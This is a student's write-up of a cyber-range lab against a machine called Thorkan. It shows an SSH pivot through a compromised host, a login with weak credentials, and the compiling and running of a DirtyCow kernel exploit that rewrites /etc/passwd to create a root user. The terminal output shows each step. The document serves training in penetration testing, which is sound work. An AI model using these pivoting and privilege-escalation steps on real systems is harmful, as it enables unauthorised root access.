CYBER RANGE TARGET: THORKAN

WRITTEN BY LUKE KEOGH

Contents

Introduction

I'll be attacking from a standard Kali Linux virtual machine with the IP of 10.8.0.99. My approach is to enumerate and explore multiple ways of obtaining root level access of the machine. A brief outline of how I obtained the root flag will be shown in the section 'Obtaining Root Flag Summary' while all other attempts and a more in-depth explanation of each step from the summary will be shown in the 'Enumeration and Exploring Possible Attack Vectors'. My summation of thoughts on the attack process of this machine will be outlined in the 'Conclusion' section while any outside help that I sought during the attack will be referenced in the 'Reference' section. Also, for the purpose of authentication I'll be running the below command in each screenshot:
Command: echo Luke Keogh - 19095587

Obtaining Root Flag Summary

Summarised below are the steps needed to obtain the root flag. However, for a more in-depth explanation along with screenshots, please see the Enumeration and Exploring Attack Vectors section below.

1. Identify Ghostgate as having a 2nd network card which is on the same subnet as the target
2. Login to ghostgate with firefart exploit from previous walkthrough
3. Ssh from there into the 2nd machine with the login details User: vinicious, Pass: password1
4. Transfer dirtycow file from ghostgate to target
5. Run dirtycow from tmp folder and become firefart with root privileges

Scanning

First was a quick nmap scan to find the target's IP.
However, this would not work for this target as this machine is on another subnet which we cannot reach directly. Thus, we must pivot from another machine. For this I'll be using Ghostgate via 192.168.2.150 and it's 2nd network card on 102.168.10.10.

Enumeration and Exploring Attack Vectors

First I used SSH to log back into Ghostgate so I could access the target machine on the 192.168.10.0/24 subnet.
Command: ssh -D 9050 firefart@192.168.2.150
Then I used SSH again to connect to the target
Command: ssh Vinicius@192.168.10.4

```
File  Actions  Edit  View  Help
┌──(kali㉿kali)-[~]
└─$ sudo ssh -D 9050 firefart@192.168.2.150
[sudo] password for kali:
Password:
Last login: Mon Oct  4 01:48:29 2021 from 10.8.0.133
Have a lot of fun...
Ghostgate:~ # ssh vinicius@192.168.10.4
The authenticity of host '192.168.10.4 (192.168.10.4)' can't be established.
RSA key fingerprint is 5b:54:0c:31:4e:0b:e5:e6:27:5d:60:f8:03:56:d6:6f.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.10.4' (RSA) to the list of known hosts.
Password:
Last login: Sat Oct  2 12:19:08 2021 from 192.168.10.10
Have a lot of fun...
vinicius@Thorkan:~$ echo Luke Keogh - 19095587
Luke Keogh - 19095587
vinicius@Thorkan:~$
```

Figure 1 logging into ghostgate as firefart

Once in I went into the /tmp folder to find a dirtycow.c file. Alternatively I could have downloaded it from Ghostgate but I just used this file to save time.

Command: cd /tmp

```
vinicius@Thorkan:/home> cd /tmp/
vinicius@Thorkan:/tmp> ls
dc.c
dirty
gconfd-root
kde-centurion
ksocket-centurion
mod_mono_dashboard_XXGLOBAL_1
mod_mono_server_global
mod_mono_server_global_1651471482
passwd.bak
ssh-ejPqv3231
ssh-haNzx3235
ssh-MVZjK3221
xwlog
vinicius@Thorkan:/tmp> echo Luke Keogh - 19095587
Luke Keogh - 19095587
vinicius@Thorkan:/tmp>
```

Figure 2 locating dirtycow in /tmp folder

I then compiled the file and chmod'd it and removed the passwd.bak file so I could run the exploit.
Command: gcc -pthread dc.c -o cow -lcrypt
Command: chmod +x cow
Command: rm passwd.bak

```
vinicius@Thorkan:/tmp> gcc -pthread dc.c -o cow -lcrypt
vinicius@Thorkan:/tmp> chmod +x cow
vinicius@Thorkan:/tmp> ./cow
File /tmp/passwd.bak already exists! Please delete it and
 run again
vinicius@Thorkan:/tmp> rm passwd.bak
vinicius@Thorkan:/tmp> ./cow
```

Figure 3 compiling and setting up dirtycow exploit

I then ran the exploit and switched user to firefart to have elevated privileges.
Command: ./cow
Command: su firefart
Command: sudo -l

```
vinicius@Thorkan:/tmp> ./cow
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Complete line:
firefart:fi.UJzjU6NbQA:0:0:pwned:/root:/bin/bash

mmap: 2b6c9fdf6000
echo Luke Keogh - 1909^H^H^H^H^H
whoami

[1]+  Stopped                 ./cow
vinicius@Thorkan:/tmp> su firefart
Password:
Thorkan:/tmp # sudo -l
User firefart may run the following commands on this host
:
    (ALL) ALL
Thorkan:/tmp # echo Luke Keogh - 19095587
Luke Keogh - 19095587
Thorkan:/tmp #
```

Figure 4 running exploit and becoming user with root privileges

Conclusion

Didn't explore further than using a dirtycow exploit but if I had more time I would have tried more options to see if there was some more unique ways in.

References

- NA